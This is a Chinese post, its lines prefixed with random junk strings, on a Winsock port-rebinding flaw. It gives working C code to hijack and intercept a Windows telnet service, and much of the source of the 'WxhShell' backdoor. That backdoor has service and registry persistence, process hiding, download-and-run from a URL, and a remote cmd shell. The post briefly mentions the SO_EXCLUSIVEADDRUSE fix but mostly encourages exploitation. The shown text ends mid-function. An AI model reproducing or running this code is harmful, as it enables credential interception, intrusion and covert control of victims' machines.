在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
}RI_k&; s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
jgIG";:Q !ZH "$m| saddr.sin_family = AF_INET;
w|s2f`! oMj"l#a* saddr.sin_addr.s_addr = htonl(INADDR_ANY);
EHm*~Sd v7wyQx+Q bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
+u0of^}= ?%hd3zc+f 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
O0L]xr A_wf_.l4h 这意味着什么?意味着可以进行如下的攻击:
f^B8!EY#: >,]a>V 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
l!88|~ t,|Apl] 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
*pa hZiO BNCM{}e 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
-(:T&rfTp Su6kpC!EW 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
04Zdg:[3-! M1-tRF 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
xz!0BG 7CH&n4v 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
IeYNTk&< FXJ0
G>F 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Z%3CmKdeF M> WWP3 #include
M11\Di1 #include
+\Jo^\ #include
aj;x:UqpJ #include
>
UZ-['H DWORD WINAPI ClientThread(LPVOID lpParam);
!\R5/-_UU int main()
SqPqL<,e {
auK9wQ%\ WORD wVersionRequested;
{ im?tZ, DWORD ret;
#ay/VlD@ WSADATA wsaData;
HAK,z0/ BOOL val;
{TNORbZz SOCKADDR_IN saddr;
G|Et'k.F4 SOCKADDR_IN scaddr;
j;`Q82V\ int err;
V0,JTWc SOCKET s;
I~n4}}9M SOCKET sc;
O00;0w u int caddsize;
gxVr1DIkN HANDLE mt;
i;^lh]u DWORD tid;
ZMgsuzg wVersionRequested = MAKEWORD( 2, 2 );
M@{?#MkS% err = WSAStartup( wVersionRequested, &wsaData );
j_so s%- if ( err != 0 ) {
#G]IEO$M6 printf("error!WSAStartup failed!\n");
C;m"W5+ return -1;
d9S/_iCI }
hE(R[hc saddr.sin_family = AF_INET;
'/8/M{`s
aO<7a
6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
iuY,E GO"|^W saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
)v;O2z saddr.sin_port = htons(23);
S3%2T if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$f3 IO#N {
G%bv<_R printf("error!socket failed!\n");
?P0b/g return -1;
I9qZE=i }
s;TB(M~i[ val = TRUE;
sF!#*Y //SO_REUSEADDR选项就是可以实现端口重绑定的
iRrUIWx if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
]4H)GWHKg {
Bz } nP9 printf("error!setsockopt failed!\n");
o^2MfFS return -1;
95'+8*YCY }
9Q,>I6`l //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
0C :8X
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
]6Iu\,#J //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
~4~r _"
9 q(1 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
l0,VN,$Yl {
^~V2xCu! ret=GetLastError();
{FFdMdxy- printf("error!bind failed!\n");
{BJ>x:2 return -1;
nvndgeSy }
Fqw4XR_`~ listen(s,2);
^ l#6Es while(1)
3&})gU&a {
D-{*3?x caddsize = sizeof(scaddr);
aC}\`.Kb //接受连接请求
ZJ%NZAxy sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
C,+ if(sc!=INVALID_SOCKET)
~Fh+y+g? {
F62 uDyY mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
m:)&:Y0 (a if(mt==NULL)
oVK:A;3T| {
wIi(\]Q printf("Thread Creat Failed!\n");
x"q]~u<rB break;
=.8n K
y }
{*+J`H_G2a }
@LOfqQ$FE CloseHandle(mt);
*>W<n1r@] }
Rr
[_t FM closesocket(s);
-&
(iU#W WSACleanup();
~RVlc;W return 0;
_3%$E.Q }
CsZm8oL$ DWORD WINAPI ClientThread(LPVOID lpParam)
"T=j\/Q {
wuXQa
wo SOCKET ss = (SOCKET)lpParam;
j.] ]VA SOCKET sc;
%WU=Vy 4 unsigned char buf[4096];
g "Du]_, SOCKADDR_IN saddr;
3}\ z&| long num;
_0$>LWO~ DWORD val;
|v7Je?yh DWORD ret;
X(/fE?%; //如果是隐藏端口应用的话,可以在此处加一些判断
2+y wy^ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
6Tmz!E0 saddr.sin_family = AF_INET;
8F>9CO:&N saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
m^XO77" saddr.sin_port = htons(23);
aR3jeB,=x if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
WwsNAJ {
qZ!kVrmg& printf("error!socket failed!\n");
]CNPy$>* return -1;
<VD7(j]'^ }
BC!) g+8 val = 100;
O$, if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
h'S0XU
; {
1y:fH4V ret = GetLastError();
pBe1: return -1;
%' WC7s }
EE]xZz>o if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
K@e2%hk9x {
nmn/4> ret = GetLastError();
EXeV@kg return -1;
@$kO7k0{g }
CRCy)AS,t if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
">=E p+ix {
Eg1TF oIWl printf("error!socket connect failed!\n");
x7e0& closesocket(sc);
@BLB.= closesocket(ss);
\y271}' return -1;
}=f\WWJf0 }
3}V (8 while(1)
7l-MVn_8 {
Kh4rl)L*+% //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
,k_ b-/ //如果是嗅探内容的话,可以再此处进行内容分析和记录
JcYY*p //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Q[3hOFCX num = recv(ss,buf,4096,0);
U*{0, Ue' if(num>0)
+pSo(e( send(sc,buf,num,0);
G)YmaHeI;[ else if(num==0)
M^\`~{*T break;
OU` !c[O num = recv(sc,buf,4096,0);
GKEOjaE if(num>0)
fk15O_#3 send(ss,buf,num,0);
G[ns^ else if(num==0)
';\norx; break;
?99r>01> }
0J[B3JO@M closesocket(ss);
S=S/]]e closesocket(sc);
eN5F@isy return 0 ;
e~*tQ4 }
+fM8 ]O:u9If SN")u ==========================================================
*ze/$vz- O0r vr$. 下边附上一个代码,,WXhSHELL
MV3K'<Y 416}# Mk ==========================================================
j0oto6z~b -]}#Z:& #include "stdafx.h"
nF]E": (bsywM #include <stdio.h>
7gOu|t #include <string.h>
2N |iOog #include <windows.h>
{4SaSv^/ #include <winsock2.h>
4gEw}WiP #include <winsvc.h>
qp*~| #include <urlmon.h>
9MJ:]F5+ ^^
SMr l #pragma comment (lib, "Ws2_32.lib")
dg*xo9Xi` #pragma comment (lib, "urlmon.lib")
E0HE@pqr +B8oW3v# ) #define MAX_USER 100 // 最大客户端连接数
GNwFB)?j #define BUF_SOCK 200 // sock buffer
3NZK$d=4 #define KEY_BUFF 255 // 输入 buffer
!Q_Kil.9 '-~J.8-</ #define REBOOT 0 // 重启
t:oq't #define SHUTDOWN 1 // 关机
dj9i*#F ]X7_ji(l, #define DEF_PORT 5000 // 监听端口
Jk`l{N 8?'=Aeo #define REG_LEN 16 // 注册表键长度
]C+PJ:CC #define SVC_LEN 80 // NT服务名长度
bM_fuy55Op +7lr#AvU/ // 从dll定义API
@o}J ) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
=d~pr:.F typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
;InMgo, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
ow`F 7 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
; %AgKgV
v^t oe // wxhshell配置信息
3AP= struct WSCFG {
i*4v!(E int ws_port; // 监听端口
DuAix)#FN9 char ws_passstr[REG_LEN]; // 口令
I_?R(V[9 int ws_autoins; // 安装标记, 1=yes 0=no
tqB6:p-% char ws_regname[REG_LEN]; // 注册表键名
.bV^u char ws_svcname[REG_LEN]; // 服务名
i(e= char ws_svcdisp[SVC_LEN]; // 服务显示名
m4~~ q[t char ws_svcdesc[SVC_LEN]; // 服务描述信息
e8_EB/)_Z char ws_passmsg[SVC_LEN]; // 密码输入提示信息
e<A>??h^ int ws_downexe; // 下载执行标记, 1=yes 0=no
kDR5kDiS char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
MR@Qn[RdM char ws_filenam[SVC_LEN]; // 下载后保存的文件名
~EQ#
%db |,TBP@ };
-m=!SQ >9 !)J$f_88D // default Wxhshell configuration
4}0YLwgJ struct WSCFG wscfg={DEF_PORT,
/UR;,ts "xuhuanlingzhe",
p?
VDBAx 1,
A 3q#,% "Wxhshell",
?caHS2%?ae "Wxhshell",
tk 5p@l "WxhShell Service",
3:sx%Ci/2 "Wrsky Windows CmdShell Service",
,k@iNid "Please Input Your Password: ",
&(o&Y 1,
^x(s!4d] "
http://www.wrsky.com/wxhshell.exe",
'c/8|9jX "Wxhshell.exe"
#c/K.? };
G_k_qP^: r M}o) // 消息定义模块
Crla~h?= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
r4?|sAK char *msg_ws_prompt="\n\r? for help\n\r#>";
o=lZl_5/u; char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Cz&t*i/ char *msg_ws_ext="\n\rExit.";
x>J(3I5_b char *msg_ws_end="\n\rQuit.";
,HNk<W char *msg_ws_boot="\n\rReboot...";
Oq}7q!H char *msg_ws_poff="\n\rShutdown...";
Qo(<>d char *msg_ws_down="\n\rSave to ";
j(pe6 (II#9n) char *msg_ws_err="\n\rErr!";
-0k{O@l" char *msg_ws_ok="\n\rOK!";
C(xsMO'k,, v(uNqX.BC char ExeFile[MAX_PATH];
nF,zWr[x int nUser = 0;
G;pc,\MF HANDLE handles[MAX_USER];
i8*(J-M int OsIsNt;
m.5@qmQ zSOZr2-
^a SERVICE_STATUS serviceStatus;
&< FKcrZ, SERVICE_STATUS_HANDLE hServiceStatusHandle;
>@-BZJg/k r"VNq&v]9 // 函数声明
fQw=z$ int Install(void);
{"N:2 int Uninstall(void);
Hr}\-$ int DownloadFile(char *sURL, SOCKET wsh);
=""5
c int Boot(int flag);
2c*}1
_ void HideProc(void);
*iSE)[W int GetOsVer(void);
9`&sZ|"3 int Wxhshell(SOCKET wsl);
#! (2@N8 void TalkWithClient(void *cs);
`0W+(9} int CmdShell(SOCKET sock);
zvv/|z2(r int StartFromService(void);
3CSwcD int StartWxhshell(LPSTR lpCmdLine);
SEM-t iQiXwEAi[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
{s2eOL5I|% VOID WINAPI NTServiceHandler( DWORD fdwControl );
#=F{G4d)!= ' 1dhdm8 // 数据结构和表定义
\MAv's4b@ SERVICE_TABLE_ENTRY DispatchTable[] =
0OtUb:8LX {
6>b#nFVJ {wscfg.ws_svcname, NTServiceMain},
_~y-?(46K {NULL, NULL}
#A<
|qd };
(|tR>R.Wxg +}f}!h; // 自我安装
rF/<}ye/4M int Install(void)
P (fWJVF7 {
FaaxfcIfkw char svExeFile[MAX_PATH];
\`*]}48Z HKEY key;
^>y|{;` strcpy(svExeFile,ExeFile);
4`?WdCW8 SU. $bsu // 如果是win9x系统,修改注册表设为自启动
6x16?x if(!OsIsNt) {
Zo Ra^o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
qMd4awB
R RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
h~Z:YY)4 RegCloseKey(key);
TH~"y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
WvcPOt8Bp> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
UQBc$`v RegCloseKey(key);
uJ3*AO return 0;
qt.= }
z
E\~Oa; }
"~08<+ }
/!hxW}>^ else {
LiEDTXRz ~yY5pnJ // 如果是NT以上系统,安装为系统服务
c
<X( S SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
oe=W}y_k if (schSCManager!=0)
G~f|Sx {
VE^IA\J x SC_HANDLE schService = CreateService
]OC?g2&6 (
o"qG'\x schSCManager,
H<l0]-S{ wscfg.ws_svcname,
M1K[6V! wscfg.ws_svcdisp,
ii ^Nxnc= SERVICE_ALL_ACCESS,
6+SaO
!lR SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Lv-M. SERVICE_AUTO_START,
n?v$C:jLN SERVICE_ERROR_NORMAL,
F^!_!V B svExeFile,
uAV-wc NULL,
zHXb[$Q NULL,
~mT([V NULL,
r3~YGY NULL,
Nbt.y 'd NULL
)yS S 2 );
w(q\75 if (schService!=0)
Shu=oweJ {
q =26($ CloseServiceHandle(schService);
N{K[sXCW CloseServiceHandle(schSCManager);
({hW strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Nkk+*(Z strcat(svExeFile,wscfg.ws_svcname);
uh3<%9#\k if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
gzp]hh@4 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
1sXVuto RegCloseKey(key);
*,Sa*-7( return 0;
FivqyT7i }
^7Z.~A y }
g` 41d CloseServiceHandle(schSCManager);
v@qVT'qlU }
F>aaUj }
bD V/$@p Ym9~/'%] return 1;
[9~6, ;6 }
,BlNj^5f A7aW] // 自我卸载
4R9y~~+ int Uninstall(void)
rf
=Wq_ {
:Mq{ES% HKEY key;
~L9I@(/S Gg{M if(!OsIsNt) {
F7JF1HfCP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
jR^_1bu
RegDeleteValue(key,wscfg.ws_regname);
_O`s;oc RegCloseKey(key);
)_1;mc8B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
g<YN# RegDeleteValue(key,wscfg.ws_regname);
qyR}|<F8* RegCloseKey(key);
Di&XDW/ return 0;
+y|Q7+ }
vFi+ExBU }
@"/:Omh }
bA/'IF+ else {
SH6T\}X: A0H6}53, $ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
}k_'a^;C1 if (schSCManager!=0)
\y+@mJWa {
9QEK|x`8 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
=8Gpov1!V~ if (schService!=0)
$Sd pF-' {
8l
>Xbz if(DeleteService(schService)!=0) {
|_%q@EID CloseServiceHandle(schService);
HD>UTX`&mc CloseServiceHandle(schSCManager);
WO[O0!X return 0;
Xt$Y&Ho }
@$5=4HA CloseServiceHandle(schService);
R dLk85<n }
1n~^@f#` CloseServiceHandle(schSCManager);
PgYIQpV }
mtVoA8(6 }
:dwP yMJ(Sf return 1;
{Hzj(c~S? }
xtzkgb,0[ R#HX}[Hb // 从指定url下载文件
kp^q}iS int DownloadFile(char *sURL, SOCKET wsh)
ma@!"Z8S
{
tiF-lq HRESULT hr;
?$ M:4mX char seps[]= "/";
Te7xj8<
char *token;
__`6 W1 char *file;
fxc?+<P char myURL[MAX_PATH];
T%SK";PAU$ char myFILE[MAX_PATH];
F[]6U/g n ^#4Ah[:XA strcpy(myURL,sURL);
,n&Lp token=strtok(myURL,seps);
gB]jLe while(token!=NULL)
L#\5)mO.v {
*s|'V+1 file=token;
@x_0AkZU token=strtok(NULL,seps);
5 TLE%#G@+ }
X}`39r. =Jswd GetCurrentDirectory(MAX_PATH,myFILE);
{TaYkuWS strcat(myFILE, "\\");
>{>X.I~ strcat(myFILE, file);
3 5/ s\ send(wsh,myFILE,strlen(myFILE),0);
H/ar:j send(wsh,"...",3,0);
O"J"H2}S hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
b;5
M$
if(hr==S_OK)
w|61dB return 0;
H{1'- wB else
B(Er/\-@U return 1;
hP$5>G(3 f9vitFkb+ }
|qpFR)l '3xK1Am // 系统电源模块
`@{(ijg. int Boot(int flag)
#x \YA#~ {
<Df2 HANDLE hToken;
FIx|4[&>S TOKEN_PRIVILEGES tkp;
fpJ%{z2 d=dHY(ms] if(OsIsNt) {
`x;m@\R OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
}yw>d\] f LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
3 6t^iV*3 tkp.PrivilegeCount = 1;
w!-MMT4y tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
C$4{'J-ZH AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
$@84nR{> if(flag==REBOOT) {
M5 ^qc if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
&a)d,4e<M return 0;
t :~,7 }
NdrR+t^# else {
H~bbkql if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
XW~a4If return 0;
5..YC=_20 }
35 L\ }
T[MDjhv' else {
U5p 3b; if(flag==REBOOT) {
<r
m)c. if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
c )=a;_h return 0;
$:&b5=i }
.yD5>iBh
else {
^tIYr<I if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
a)I>Ns) return 0;
KNR7Igw?} }
JL>DRIR%NV }
p{+F{e f,ZJFb98 return 1;
g |H }
&P"1 3]^@ !M(SEIc4A // win9x进程隐藏模块
ct<XKqbI void HideProc(void)
AnK X4Q {
QL*RzFAD3 cp0yr:~ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
HMDuP2Y if ( hKernel != NULL )
j8aH*K-l{ {
)0g!lCfb pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
dI>cPqQ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
[f}`reRlZ FreeLibrary(hKernel);
FR>[g`1 }
c6AwO?x/ <{@ D^L6h return;
5\h 6' }
yr?X.Np <PM.4B@ // 获取操作系统版本
fxmY,{{ int GetOsVer(void)
I
zVc {
y]+[o1]-c OSVERSIONINFO winfo;
c
*<m. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
rhZp GetVersionEx(&winfo);
LROrhO if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
[j0jAl return 1;
H328I}7 else
Zj_2B_|WN# return 0;
A/"2a55 }
%9J:TH9E) S9ic4rcd // 客户端句柄模块
0C\cM92o int Wxhshell(SOCKET wsl)
k8@bQ"#b {
Dy8H(_ SOCKET wsh;
s^4wn:*$zd struct sockaddr_in client;
m)?0;9bt DWORD myID;
n_k`L(8* uH,/S4?X while(nUser<MAX_USER)
+XW1,ly~ {
jeJspch+# int nSize=sizeof(client);
xg 8R>j wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
ZS=;) if(wsh==INVALID_SOCKET) return 1;
"5'eiYms _wX(OB handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
NU+PG`Vb if(handles[nUser]==0)
G)c+GoK closesocket(wsh);
m,J
IId%O else
!%DE(E*'(
nUser++;
BwGOn)KL }
;b. m X WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
cIa`pU,6A ,?IXfJ`c return 0;
p#-=mXE/2 }
qh&q<M rdtzz#7 // 关闭 socket
#W
l^!)#j? void CloseIt(SOCKET wsh)
q?)5yukeF {
nh80"Ny5 closesocket(wsh);
6ecx!uc$ nUser--;
Aq7`A^1t$ ExitThread(0);
m7RyFnR2 }
mG\9Qkom| p!)tA // 客户端请求句柄
(Q
^=^s| void TalkWithClient(void *cs)
|9Yx`_DF {
.sOZ "=tW $sZ4r>- SOCKET wsh=(SOCKET)cs;
bY*_6SPK4 char pwd[SVC_LEN];
mA_EvzXk\ char cmd[KEY_BUFF];
n "^rS}Y] char chr[1];
J7e/+W~ int i,j;
4>H0a S4_ZG>\VT while (nUser < MAX_USER) {
KL9JA;" 6 OvH"/X4 if(wscfg.ws_passstr) {
_ouZd. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
j0O1?? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
H4{7,n //ZeroMemory(pwd,KEY_BUFF);
(!0_s48f i=0;
G&MO(r}B while(i<SVC_LEN) {
,zH\P+* dVGcth;
// 设置超时
u`oJ3mS; fd_set FdRead;
f,LeJTX= struct timeval TimeOut;
SrOv*
D 3 FD_ZERO(&FdRead);
QJ>=a./ FD_SET(wsh,&FdRead);
&hi][Pt TimeOut.tv_sec=8;
HM"(cB(n` TimeOut.tv_usec=0;
9ao?\]&t int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
vl|3WYA if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
B>z^W+Unyn sk0/3X*Q% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
9)j"|5H pwd
=chr[0]; 3W.D^^)eCV
if(chr[0]==0xd || chr[0]==0xa) { `ZP[-: `
pwd=0; %$Q!'+YW
break; Pl#u,Y
} {4p7r7n'
i++; ?V_v=X%w
} 73tjDO7d
5"q{b1
// 如果是非法用户,关闭 socket _n4`mL8>kH
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,5K&f\
} BCd0X. m(
CPP9=CoR37
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @:!% Z`
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wJvk
HBk5p>&
while(1) { hKsx7`[
y4!fu<[i
ZeroMemory(cmd,KEY_BUFF); ~wGjr7Wt
JKCV>k
// 自动支持客户端 telnet标准 Kj6+$l
j=0; \(5Bi3PA}
while(j<KEY_BUFF) { W>P :EI1
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~IQjQz?
cmd[j]=chr[0]; CyB1`&G>
if(chr[0]==0xa || chr[0]==0xd) { A 7|x|mW
cmd[j]=0; *y>|
break; y92<(ziaX)
} *S Z]xrs
j++; U2JxzHXZ
} R/^;,.
0nlh0u8#
// 下载文件 g|!=@9[dv
if(strstr(cmd,"http://")) { Ac[;S!R
send(wsh,msg_ws_down,strlen(msg_ws_down),0); \OK}DhY#
if(DownloadFile(cmd,wsh)) O9p^P%U "
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ew9MWlk
else \}Pr!tk!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EkN>5).
} E
6!V0D
else { Yc(lY
N
D[Ld=e8t
switch(cmd[0]) { fK=vLcH
8}^ym^H|j
// 帮助 &0-Pl.M
case '?': { MpJx>0j/J
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :/NP8$~@j
break; vF@.BM>
} ZJ_P=
// 安装 a+\s 0Qo<
case 'i': { [3W+h1
if(Install()) s|"4!{It
send(wsh,msg_ws_err,strlen(msg_ws_err),0); UX'tdB
!A
else q.lh
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y[fbmn^
break; Q9t.*+
} cACnBgLl
// 卸载 /p@0Q[E
case 'r': { c<qJs-C4;
if(Uninstall()) DAd$u1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {|@N~c+
else Aj=c,]2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *K w/ilI
break; 5wMEp" YHE
} `3F/7$q_
// 显示 wxhshell 所在路径 1)
G6
case 'p': { 9}Zi_xK&|e
char svExeFile[MAX_PATH]; u+e.{Z!
strcpy(svExeFile,"\n\r"); ymyk.#Z<%
strcat(svExeFile,ExeFile); O<w7PS
send(wsh,svExeFile,strlen(svExeFile),0); Bk~M ^AK@~
break; HLM"dmI
} {{_,YO^w
// 重启 :~9F/Jx
case 'b': { q0
8
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YcBAW4B`
if(Boot(REBOOT)) @BXV>U2B{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J)Td'iT(
else { zX/9^+p:
closesocket(wsh); rhvsd2zi
ExitThread(0); y<5xlN(+v
} $(%t^8{a~G
break; ^zaN?0%S33
} $rE_rZ+]="
// 关机 ;rH@>VrR
case 'd': { _u`W$EG
L
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !b+Kasss9
if(Boot(SHUTDOWN)) -f:uNF]Ls
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q}jl1dIq
else { K<+h/Ok
closesocket(wsh); {z}OZHJN
ExitThread(0); hYN b9^
} z '%Vy
break; 89)rss
} ,Z I"+v
// 获取shell AHR[i%3W
case 's': { P1ab2D
CmdShell(wsh); ^T|~L<A3
closesocket(wsh); @YTZnGG*
ExitThread(0); up7]Yy;o=
break; +d736lLe%
} #X"eg
// 退出 pJ5Sxgv{;
case 'x': { y(8AxsROp
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Pw'3ya8
CloseIt(wsh); `=Hh5;ep
break; =6TD3k6(2
} K_B-KK(^
// 离开 7m=tu?@
case 'q': { P-QZ=dm
send(wsh,msg_ws_end,strlen(msg_ws_end),0); v7/qJ9l
closesocket(wsh); 2@aVoqrq#
WSACleanup(); pRj1b^F5y
exit(1); LQs2!]?HT
break; GRb"jF>ut
} pVt8z|p_;{
} b^\u
P
} |,Y(YSg.
Kuy,qZv!"
// 提示信息 iFW)}_.
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -[4Xg!apO
}
`'5(4j
} T'l >$6
^~2GhveBV
return; ;K0kQ<y-Y
} CC>]Gc7
/4]M*ls
// shell模块句柄 ZO+c-!%[(
int CmdShell(SOCKET sock) _.OajE\T
{ q7C>A`w
STARTUPINFO si; %9xz[Ng
ZeroMemory(&si,sizeof(si)); hd.^ZD7
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C9U~lcIS
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xGJ{_M
PROCESS_INFORMATION ProcessInfo; mh!;W=|/"
char cmdline[]="cmd"; 2`Xy}9N/Y
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w9h\J#f
return 0; 3ADTYt".
} TDdFuO'}
"8aw=3A
// 自身启动模式 nW3`Z1kq})
int StartFromService(void) v"Fa_+TVx
{ RiF~-;v&
typedef struct H~1*`m
{ Bhl@\Kq
DWORD ExitStatus; 4,T!zT6&
DWORD PebBaseAddress; ;$=`BI)
DWORD AffinityMask; ig]*Z
